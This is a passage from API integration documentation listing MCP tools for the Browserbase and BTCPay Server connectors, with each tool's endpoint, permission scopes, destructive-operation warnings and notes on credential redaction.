/v1/downloads/{id}. Get download metadata (Accept: application/json) or file content (Accept: application/octet-stream). GET /api/v1/browserbase/v1/downloads/{id}. Scopes: api. browserbase_get_v1_extensions_by_id (read) — Get an Extension via GET /v1/extensions/{id}. Retrieve one uploaded Chrome extension by id, as its identifiers, `fileName` and timestamps. The extension archive itself is not returned. GET /api/v1/browserbase/v1/extensions/{id}. Scopes: api. browserbase_get_v1_functions (read) — List Functions via GET /v1/functions. List the Functions defined on the account -- deployed browser automation scripts that Browserbase builds and runs on demand. Page with `offset` and `limit`. GET /api/v1/browserbase/v1/functions. Scopes: api. browserbase_get_v1_functions_builds (read) — List Function Builds via GET /v1/functions/builds. List Function builds across the account, newest first, optionally narrowed to one build `status`. A build is one publish of a Function's code. Page with `offset` and `limit`. GET /api/v1/browserbase/v1/functions/builds. Scopes: api. browserbase_get_v1_functions_builds_by_id (read) — Get a Function Build via GET /v1/functions/builds/{id}. Retrieve one Function build by id, with its status and timestamps. Use the build logs tool to read why a failed build failed. GET /api/v1/browserbase/v1/functions/builds/{id}. Scopes: api. browserbase_get_v1_functions_builds_by_id_logs (read) — Get Function Build Logs via GET /v1/functions/builds/{id}/logs. Read the build log for one Function build -- the output of compiling and packaging the Function. This is where the reason for a `FAILED` build is written. GET /api/v1/browserbase/v1/functions/builds/{id}/logs. Scopes: api. browserbase_get_v1_functions_by_id (read) — Get a Function via GET /v1/functions/{id}. Retrieve one Function by id, with the version it currently serves and its timestamps. GET /api/v1/browserbase/v1/functions/{id}. Scopes: api. browserbase_get_v1_functions_by_id_versions (read) — List Function Versions via GET /v1/functions/{id}/versions. List the versions of one Function, newest first. Page with `offset` and `limit`. GET /api/v1/browserbase/v1/functions/{id}/versions. Scopes: api. browserbase_get_v1_functions_invocations_by_id (read) — Get an Invocation via GET /v1/functions/invocations/{id}. Retrieve one Function invocation by id: a single run of a Function, with its status, timing and result. Use the invocation logs tool for what the run itself printed. GET /api/v1/browserbase/v1/functions/invocations/{id}. Scopes: api. browserbase_get_v1_functions_invocations_by_id_logs (read) — Get Invocation Logs via GET /v1/functions/invocations/{id}/logs. Read what one Function invocation logged while it ran. Use this, not the build logs, to diagnose a run that started and then failed. GET /api/v1/browserbase/v1/functions/invocations/{id}/logs. Scopes: api. browserbase_get_v1_functions_versions_by_id (read) — Get a Function Version via GET /v1/functions/versions/{id}. Retrieve one Function version by id -- the immutable snapshot of a Function's code that a build produced and that invocations run. GET /api/v1/browserbase/v1/functions/versions/{id}. Scopes: api. browserbase_get_v1_functions_versions_by_id_invocations (read) — List Invocations for a Function Version via GET /v1/functions/versions/{id}/invocations. List the invocations that ran one specific Function version, optionally narrowed to one `status`. Page with `offset` and `limit`. Use this to compare how a version behaves against another. GET /api/v1/browserbase/v1/functions/versions/{id}/invocations. Scopes: api. browserbase_get_v1_projects (read) — List Projects via GET /v1/projects. List the projects on the account, each with its id, name, owner and default region. This is how a caller DISCOVERS the `projectId` that a few other operations accept -- Agentic Fabriq asks for no project at connect time, because the API key already selects the account and a project is chosen per call. GET /api/v1/browserbase/v1/projects. Scopes: api. browserbase_get_v1_projects_by_id (read) — Get a Project via GET /v1/projects/{id}. Retrieve one project by id, with its name, owner id, default region and concurrency settings. GET /api/v1/browserbase/v1/projects/{id}. Scopes: api. browserbase_get_v1_projects_by_id_usage (read) — Get Project Usage via GET /v1/projects/{id}/usage. Read a project's usage totals -- browser minutes and proxy bytes consumed. This is the account's metered consumption, which is what the plan tier caps; it is the cheapest way to see what sessions have cost so far. GET /api/v1/browserbase/v1/projects/{id}/usage. Scopes: api. browserbase_get_v1_sessions (read) — List Sessions via GET /v1/sessions. List the account's browser sessions, optionally narrowed by `status` (RUNNING, ERROR, TIMED_OUT, COMPLETED) or by a free-text `q` query over the session's user metadata. GET /api/v1/browserbase/v1/sessions. Scopes: api. browserbase_get_v1_sessions_by_id (read) — Get a Session via GET /v1/sessions/{id}. Retrieve one browser session by id, with its status, region, timing, the project it belongs to and its usage so far. As on create, the `connectUrl`, `seleniumRemoteUrl` and `signingKey` fields are session connection credentials and are redacted by Agentic Fabriq before the result is returned. CREDENTIAL FIELDS ARE REDACTED FROM THIS RESULT. Browserbase returns `signingKey` (the per-session `x-bb-signing-key` credential) and the `connectUrl`/`seleniumRemoteUrl` connection URLs, whose query string carries the account's API key; Agentic Fabriq replaces that key material before the reply leaves the connector, because a tool result reaches the model's context and the audit pipeline. Everything else is returned untouched, and driving the browser is done with Browserbase's own SDK, holding your key yourself. GET /api/v1/browserbase/v1/sessions/{id}. Scopes: api. browserbase_get_v1_sessions_by_id_debug (read) — Session Live URLs via GET /v1/sessions/{id}/debug. Read a session's Live URLs: `debuggerUrl` and `debuggerFullscreenUrl` for watching or taking over the browser in a normal web page, `wsUrl`, and the same pair per open page with each page's title and current URL. These links are CAPABILITY URLs -- Browserbase documents them as shareable, so anyone who holds one can watch and drive that session until it ends. They are returned here because that is what this operation is for; treat them as you would a password. GET /api/v1/browserbase/v1/sessions/{id}/debug. Scopes: api. browserbase_get_v1_sessions_by_id_logs (read) — Session Logs via GET /v1/sessions/{id}/logs. Read a session's browser logs: the Chrome DevTools Protocol traffic recorded for the session, request and response by request and response. This is the raw detail behind what the browser did, and on a long session it is large. GET /api/v1/browserbase/v1/sessions/{id}/logs. Scopes: api. browserbase_get_v1_sessions_by_id_recording_downloads (read) — List Session Recording Downloads via GET /v1/sessions/{id}/recording/downloads. Returns the per-page download status for a session, with a short-lived signed URL for each completed page on standard (non-BYOS) projects. GET /api/v1/browserbase/v1/sessions/{id}/recording/downloads. Scopes: api. browserbase_get_v1_sessions_by_id_replays (read) — Get Session Replay via GET /v1/sessions/{id}/replays. Returns page metadata for a session replay, including timing information and the URL of each page's HLS playlist. GET /api/v1/browserbase/v1/sessions/{id}/replays. Scopes: api. browserbase_get_v1_webhooks (read) — List Webhooks via GET /v1/webhooks. List the project's webhooks, newest first. Signing secrets are not included. Page by passing the previous response's `nextCursor` as `cursor`; a null `nextCursor` means there are no further pages. GET /api/v1/browserbase/v1/webhooks. Scopes: api. browserbase_get_v1_webhooks_by_id (read) — Get a Webhook via GET /v1/webhooks/{id}. Retrieve a single webhook by ID. The signing secret is not included; it is only ever returned on create and rotate. GET /api/v1/browserbase/v1/webhooks/{id}. Scopes: api. browserbase_patch_v1_agents_by_agentid (write) — Update an Agent via PATCH /v1/agents/{agentId}. Update an existing agent. Only the fields provided in the body are modified; omitted fields are left unchanged. PATCH /api/v1/browserbase/v1/agents/{agentId}. Scopes: api. browserbase_patch_v1_webhooks_by_id (write) — Update a Webhook via PATCH /v1/webhooks/{id}. Update a webhook's endpoint URL, its subscribed event types, or both. Omitted fields are left unchanged. `eventTypes` replaces the existing subscription rather than adding to it. The signing secret is unaffected. PATCH /api/v1/browserbase/v1/webhooks/{id}. Scopes: api. browserbase_post_v1_agents (write) — Create an Agent via POST /v1/agents. Create a reusable agent. An agent defines a `systemPrompt` and `resultSchema` that guide its behavior for every run. Only `name` is required; an agent created with no `systemPrompt` behaves like an unconfigured run. POST /api/v1/browserbase/v1/agents. Scopes: api. browserbase_post_v1_agents_runs (write) — Run an Agent via POST /v1/agents/runs. Run a browser agent to complete the `task` by using web search and browser tooling. Optionally pass `agentId` to run a [custom agent](/reference/api/create-an-agent) you've created. CAPACITY: this starts a real cloud browser, so it occupies one of the plan's CONCURRENT SESSION slots (3 on the free tier) and consumes browser minutes while it runs. A request over the limit is refused by Browserbase, and the remedy is to release a session or raise the plan -- never to re-paste the API key. POST /api/v1/browserbase/v1/agents/runs. Scopes: api. browserbase_post_v1_agents_runs_by_runid_stop (write) — Stop a Run via POST /v1/agents/runs/{runId}/stop. Request that an in-progress run stop. The run winds down and transitions to `STOPPED`. Stopping a run that has already finished returns a conflict. POST /api/v1/browserbase/v1/agents/runs/{runId}/stop. Scopes: api. browserbase_post_v1_contexts (write) — Create a Context via POST /v1/contexts. Create a browser context: a reusable, encrypted user-data directory that persists cookies, local storage and the logged-in state of websites between sessions. Both fields are optional -- `projectId` selects the project (read the ids from List Projects) and `name` labels the context. The reply carries the context id plus the public key, cipher algorithm and initialization-vector size used to encrypt the directory. POST /api/v1/browserbase/v1/contexts. Scopes: api. browserbase_post_v1_fetch (write) — Fetch a Page via POST /v1/fetch. Fetch a page and return its content, headers, and metadata. This reaches the OPEN INTERNET from Browserbase's infrastructure using the connection's account, so the address requested is attributable to the customer and counts against the plan's usage. POST /api/v1/browserbase/v1/fetch. Scopes: api. browserbase_post_v1_functions_by_id_invoke (write) — Invoke a Function via POST /v1/functions/{id}/invoke. Run a Function. `params` is passed to the Function's own code and `sessionCreateParams` configures the browser session the run gets -- both optional. This starts a real browser session against the account's concurrency limit and counts towards the plan's usage; the reply identifies the invocation, which the invocation and log tools then follow. CAPACITY: this starts a real cloud browser, so it occupies one of the plan's CONCURRENT SESSION slots (3 on the free tier) and consumes browser minutes while it runs. A request over the limit is refused by Browserbase, and the remedy is to release a session or raise the plan -- never to re-paste the API key. POST /api/v1/browserbase/v1/functions/{id}/invoke. Scopes: api. browserbase_post_v1_search (write) — Web Search via POST /v1/search. Perform a web search and return structured results. This reaches the OPEN INTERNET from Browserbase's infrastructure using the connection's account, so the address requested is attributable to the customer and counts against the plan's usage. POST /api/v1/browserbase/v1/search. Scopes: api. browserbase_post_v1_sessions (write) — Create a Session via POST /v1/sessions. Start a cloud browser session. Every field is optional: `projectId` selects the project (read ids from List Projects), `browserSettings` configures the browser (viewport, context, fingerprint, ad blocking), `proxies`/`proxySettings` route traffic, `region` places the browser, `timeout` caps its lifetime, `keepAlive` keeps it open after the last client disconnects, `extensionId` loads an uploaded extension and `userMetadata` labels it for later search. A session occupies one of the plan's concurrent slots -- three on the free tier -- and consumes browser minutes until it is released. The reply's `connectUrl`, `seleniumRemoteUrl` and `signingKey` are session CONNECTION CREDENTIALS and are redacted by Agentic Fabriq before the result is returned; drive the session with Browserbase's own SDK, holding your key yourself. CAPACITY: this starts a real cloud browser, so it occupies one of the plan's CONCURRENT SESSION slots (3 on the free tier) and consumes browser minutes while it runs. A request over the limit is refused by Browserbase, and the remedy is to release a session or raise the plan -- never to re-paste the API key. CREDENTIAL FIELDS ARE REDACTED FROM THIS RESULT. Browserbase returns `signingKey` (the per-session `x-bb-signing-key` credential) and the `connectUrl`/`seleniumRemoteUrl` connection URLs, whose query string carries the account's API key; Agentic Fabriq replaces that key material before the reply leaves the connector, because a tool result reaches the model's context and the audit pipeline. Everything else is returned untouched, and driving the browser is done with Browserbase's own SDK, holding your key yourself. POST /api/v1/browserbase/v1/sessions. Scopes: api. browserbase_post_v1_sessions_by_id (write) — Update a Session via POST /v1/sessions/{id}. Update a running session. `status` is required, and setting it to `REQUEST_RELEASE` is how a session is CLOSED -- which ends its billing, frees one of the plan's concurrent slots and cannot be undone. A session that is already finished cannot be updated. POST /api/v1/browserbase/v1/sessions/{id}. Scopes: api. browserbase_post_v1_sessions_by_id_recording_downloads (write) — Create Session Recording Downloads via POST /v1/sessions/{id}/recording/downloads. Requests one downloadable MP4 per recorded page of a session. Assembly runs asynchronously and every page returns as `PENDING`. Re-posting re-enqueues all pages and retries any that failed. Poll the GET endpoint for per-page status and, on standard (non-BYOS) projects, download URLs. POST /api/v1/browserbase/v1/sessions/{id}/recording/downloads. Scopes: api. browserbase_post_v1_webhooks (write) — Create a Webhook via POST /v1/webhooks. Register an HTTPS endpoint to receive events for this project. The response includes the signing secret, which is shown only here and when the secret is rotated. Store it before discarding the response. An endpoint may only be registered once per project. THE SIGNING SECRET IS REDACTED FROM THIS RESULT, and Browserbase returns it only here -- no endpoint reads it back, which is also why Agentic Fabriq does not offer the rotate operation. If you need to hold the secret in order to verify delivery signatures, register the endpoint with Browserbase's own SDK or API; everything else about the webhook is returned normally. POST /api/v1/browserbase/v1/webhooks. Scopes: api. ================================================================================ ## BTCPay Server URL: https://www.agenticfabriq.com/integrations/btc_pay_server Section: Integrated Tools BTCPay Server — 196 MCP tools Provider key: btc_pay_server. Scopes: api, btcpay.server.cancreatelightninginvoiceinternalnode, btcpay.server.cancreateuser, btcpay.server.canmanageusers, btcpay.server.canmodifyserversettings, btcpay.server.canuseinternallightningnode, btcpay.server.canviewlightninginvoiceinternalnode, btcpay.server.canviewusers, btcpay.store.canarchivepullpayments, btcpay.store.canbroadcasttransactions, btcpay.store.cancreateinvoice, btcpay.store.cancreatelightninginvoice, btcpay.store.cancreatenonapprovedpullpayments, btcpay.store.cancreatepullpayments, btcpay.store.cancreatetransactions, btcpay.store.cancreditsubscribers, btcpay.store.canmanagepullpayments, btcpay.store.canmanagesubscribers, btcpay.store.canmanagewalletsettings, btcpay.store.canmanagewallettransactions, btcpay.store.canmodifyinvoices, btcpay.store.canmodifyofferings, btcpay.store.canmodifypaymentrequests, btcpay.store.canmodifystoresettings, btcpay.store.cansigntransactions, btcpay.store.canuselightningnode, btcpay.store.canviewinvoices, btcpay.store.canviewlightninginvoice, btcpay.store.canviewofferings, btcpay.store.canviewpaymentrequests, btcpay.store.canviewstoresettings, btcpay.store.canviewwallet, btcpay.store.webhooks.canmodifywebhooks, btcpay.user.candeleteuser, btcpay.user.canmanagenotificationsforuser, btcpay.user.canmodifyprofile, btcpay.user.canmodifyserversettings, btcpay.user.canviewnotificationsforuser, btcpay.user.canviewprofile, unrestricted. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. btc_pay_server_delete_api_v1_api_keys_by_apikeyid (write, destructive) — Revoke the current API key so that it cannot be used anymore. DELETE /api/v1/api-keys/{apiKeyId}. The API key must carry the BTCPay permission `unrestricted`, which is chosen when the key is minted. Revokes the named key. The id is the `id` field, NOT the secret -- BTCPay's own schema says `id` exists 'to revoke it without sending the secret'. Passing this connection's own key id here has the same effect as 'Revoke the current API Key' and will disconnect this integration. DELETE /api/v1/btc_pay_server/api/v1/api-keys/{apiKeyId}. Scopes: unrestricted. btc_pay_server_delete_api_v1_api_keys_current (write, destructive) — Revoke the current API key so that it cannot be used anymore. DELETE /api/v1/api-keys/current. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. SELF-DESTRUCT. This revokes the key THIS CONNECTION IS AUTHENTICATING WITH, so every other Agentic Fabriq tool on this connection stops working the moment it succeeds and the connection has to be remade with a freshly minted key. It is not the tool for tidying up someone else's key: 'Revoke an API Key' (DELETE /api/v1/api-keys/{apiKeyId}) takes an id and leaves this connection alive. DELETE /api/v1/btc_pay_server/api/v1/api-keys/current. Scopes: api. btc_pay_server_delete_api_v1_apps_by_appid (write, destructive) — Deletes app with specified ID. DELETE /api/v1/apps/{appId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/apps/{appId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_apps_by_appid_image_by_fileid (write, destructive) — Deletes the app item image. DELETE /api/v1/apps/{appId}/image/{fileId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/apps/{appId}/image/{fileId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_files_by_fileid (write, destructive) — Deletes the file. DELETE /api/v1/files/{fileId}. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/files/{fileId}. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_delete_api_v1_invitations_by_token (write, destructive) — Decline the current user's invitation identified by its token. DELETE /api/v1/invitations/{token}. The API key must carry the BTCPay permission `btcpay.user.canmodifyprofile`, which is chosen when the key is minted. Declines a store invitation. The token is single-use: declining it cannot be undone and a new invitation has to be sent. DELETE /api/v1/btc_pay_server/api/v1/invitations/{token}. Scopes: btcpay.user.canmodifyprofile. btc_pay_server_delete_api_v1_invoices_by_invoiceid (write, destructive) — Archives the specified invoice. The store is resolved automatically from the invoice. DELETE /api/v1/invoices/{invoiceId}. The API key must carry the BTCPay permission `btcpay.store.canmodifyinvoices`, which is chosen when the key is minted. ARCHIVES rather than erases, despite the DELETE verb: the invoice stops appearing in the default listing and can be brought back with 'Unarchive invoice'. Payments already received are not affected. This is the gentlest of this provider's 27 deletes and is safe to use for tidying. DELETE /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}. Scopes: btcpay.store.canmodifyinvoices. btc_pay_server_delete_api_v1_payment_requests_by_paymentrequestid (write, destructive) — Archives the specified payment request. The store is resolved automatically from the payment request. DELETE /api/v1/payment-requests/{paymentRequestId}. The API key must carry the BTCPay permission `btcpay.store.canmodifypaymentrequests`, which is chosen when the key is minted. ARCHIVES the payment request rather than erasing it; invoices already created from it survive. DELETE /api/v1/btc_pay_server/api/v1/payment-requests/{paymentRequestId}. Scopes: btcpay.store.canmodifypaymentrequests. btc_pay_server_delete_api_v1_payouts_by_payoutid (write, destructive) — Cancel the payout. DELETE /api/v1/payouts/{payoutId}. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/payouts/{payoutId}. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_delete_api_v1_pull_payments_by_pullpaymentid (write, destructive) — Archive this pull payment (Will cancel all payouts awaiting for payment). The store is resolved automatically from the pull payment. DELETE /api/v1/pull-payments/{pullPaymentId}. The API key must carry the BTCPay permission `btcpay.store.canarchivepullpayments`, which is chosen when the key is minted. ARCHIVES the pull payment, which stops anyone claiming against it. Payouts already approved are not withdrawn by this -- cancel those individually with 'Cancel a payout'. DELETE /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}. Scopes: btcpay.store.canarchivepullpayments. btc_pay_server_delete_api_v1_stores_by_storeid (write, destructive) — Removes the specified store. If there is another user with access, only your access will be removed. DELETE /api/v1/stores/{storeId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. BLAST RADIUS DEPENDS ON WHO ELSE HAS ACCESS, and BTCPay says so: 'If there is another user with access, only your access will be removed.' So the same call is a soft leave on a shared store and a permanent deletion on a store only this account can reach -- invoices, payment requests, apps and webhooks included. Check 'List a store's users' first if which one it will be matters. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_lightning_addresses_by_username (write, destructive) — Remove store configured lightning address. DELETE /api/v1/stores/{storeId}/lightning-addresses/{username}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning-addresses/{username}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_logo (write, destructive) — Delete the store's logo. DELETE /api/v1/stores/{storeId}/logo. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/logo. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector (write, destructive) — Deletes a subscriber for a specific offering by customer selector. DELETE /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_delete_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid (write, destructive) — Delete information about the stores' configured payment method. DELETE /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_address (write, destructive) — UnReserve address. DELETE /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/address. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/address. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_delete_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects_by_objecttype_by_objectid (write, destructive) — Remove wallet object. DELETE /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_delete_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects_by_objecttype_by_objectid_links_by_linktype_by_linkid (write, destructive) — Remove wallet object link. DELETE /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}/links/{linkType}/{linkId}. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}/links/{linkType}/{linkId}. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_delete_api_v1_stores_by_storeid_payout_processors_by_processor_by_paymentmethodid (write, destructive) — Remove store configured payout processor. DELETE /api/v1/stores/{storeId}/payout-processors/{processor}/{paymentMethodId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/payout-processors/{processor}/{paymentMethodId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_users_by_idoremail (write, destructive) — Removes the specified store user. If there is no other owner, this endpoint will fail. DELETE /api/v1/stores/{storeId}/users/{idOrEmail}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/users/{idOrEmail}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_stores_by_storeid_users_by_idoremail_invitation (write, destructive) — Cancel the specified user's pending store invitation. DELETE /api/v1/stores/{storeId}/users/{idOrEmail}/invitation. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/stores/{storeId}/users/{idOrEmail}/invitation. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_delete_api_v1_users_by_idoremail (write, destructive) — Delete a user. Must be an admin to perform this operation. Attempting to delete the only admin user will not succeed. All data associated with the user will be deleted as well if the operation succeeds. DELETE /api/v1/users/{idOrEmail}. The API key must carry the BTCPay permission `btcpay.user.candeleteuser`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/users/{idOrEmail}. Scopes: btcpay.user.candeleteuser. btc_pay_server_delete_api_v1_users_by_idoremail_api_keys_by_apikeyid (write, destructive) — Revoke the API key of a target user so that it cannot be used anymore. DELETE /api/v1/users/{idOrEmail}/api-keys/{apiKeyId}. The API key must carry the BTCPay permission `unrestricted`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/users/{idOrEmail}/api-keys/{apiKeyId}. Scopes: unrestricted. btc_pay_server_delete_api_v1_users_me (write, destructive) — Deletes user profile and associated user data for user making the request. DELETE /api/v1/users/me. The API key must carry the BTCPay permission `btcpay.user.candeleteuser`, which is chosen when the key is minted. DELETES THE ACCOUNT THIS CONNECTION ACTS AS, and its data with it. There is no undo and the connection dies with the account. It is almost never the tool anyone wanted: removing a user from a STORE is 'Remove a store user', and disconnecting Agentic Fabriq is done here in the console. DELETE /api/v1/btc_pay_server/api/v1/users/me. Scopes: btcpay.user.candeleteuser. btc_pay_server_delete_api_v1_users_me_notifications_by_id (write, destructive) — Removes the specified notification. DELETE /api/v1/users/me/notifications/{id}. The API key must carry the BTCPay permission `btcpay.user.canmanagenotificationsforuser`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/users/me/notifications/{id}. Scopes: btcpay.user.canmanagenotificationsforuser. btc_pay_server_delete_api_v1_users_me_picture (write, destructive) — Deletes the user profile picture. DELETE /api/v1/users/me/picture. The API key must carry the BTCPay permission `btcpay.user.canmodifyprofile`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/users/me/picture. Scopes: btcpay.user.canmodifyprofile. btc_pay_server_delete_api_v1_webhooks_by_webhookid (write, destructive) — Delete a webhook. DELETE /api/v1/webhooks/{webhookId}. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. DELETE /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_api_v1_api_keys_current (read) — View information about the current API key. GET /api/v1/api-keys/current. The API key must carry the BTCPay permission `btcpay.server.canmanageusers`, which is chosen when the key is minted. THE `apiKey` FIELD IS REMOVED BEFORE YOU SEE IT, and that is this integration's doing rather than BTCPay's: the reply schema documents `apiKey` as 'The API Key to use for API Key Authentication' -- this connection's own credential, verbatim, from a read BTCPay requires no permission for. A tool result is not redacted anywhere downstream, so the connector replaces that one value with a marker. Everything else survives: `id` (which is what revokes a key without sending the secret), `label`, `created` and `permissions`, which is the useful part -- it tells you exactly what this connection's key is allowed to do, including any `:` narrowing. Nothing here can hand back the credential. GET /api/v1/btc_pay_server/api/v1/api-keys/current. Scopes: btcpay.server.canmanageusers. btc_pay_server_get_api_v1_apps (read) — Returns basic app data for all apps for all stores. GET /api/v1/apps. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/apps. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_apps_by_appid (read) — Returns basic app data shared between all types of apps. GET /api/v1/apps/{appId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/apps/{appId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_apps_by_appid_sales (read) — Returns sales statistics for the app. GET /api/v1/apps/{appId}/sales. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/apps/{appId}/sales. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_apps_by_appid_top_items (read) — Returns top items statistics for the app. GET /api/v1/apps/{appId}/top-items. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/apps/{appId}/top-items. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_get_api_v1_apps_crowdfund_by_appid (read) — Returns crowdfund app data. GET /api/v1/apps/crowdfund/{appId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/apps/crowdfund/{appId}. Scopes: api. btc_pay_server_get_api_v1_apps_pos_by_appid (read) — Returns POS app data. GET /api/v1/apps/pos/{appId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/api/v1/apps/pos/{appId}. Scopes: api. btc_pay_server_get_api_v1_files (read) — Load all files that exist. GET /api/v1/files. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/files. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_get_api_v1_files_by_fileid (read) — View information about the specified file. GET /api/v1/files/{fileId}. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/files/{fileId}. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_get_api_v1_health (read) — Check the instance health status. GET /api/v1/health. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. The only endpoint on this surface that needs no credential at all (`security: []` in the specification, measured 200 against the public demo instance with no Authorization header). Useful as a control: if this answers and 'Get server info' 401s, the instance is up and the key is the problem. GET /api/v1/btc_pay_server/api/v1/health. Scopes: api. btc_pay_server_get_api_v1_invitations_by_token (read) — Get invitation details from its token before accepting or declining it. GET /api/v1/invitations/{token}. The API key must carry the BTCPay permission `btcpay.user.canmodifyprofile`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/invitations/{token}. Scopes: btcpay.user.canmodifyprofile. btc_pay_server_get_api_v1_invoices_by_invoiceid (read) — View information about the specified invoice. The store is resolved automatically from the invoice. GET /api/v1/invoices/{invoiceId}. The API key must carry the BTCPay permission `btcpay.store.canviewinvoices`, which is chosen when the key is minted. GET /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}. Scopes: btcpay.store.canviewinvoices. btc_pay_server_get_api_v1_invoices_by_invoiceid_payment_methods (read) — View information about the specified invoice's payment methods. The store is resolved automatically from the invoice. GET 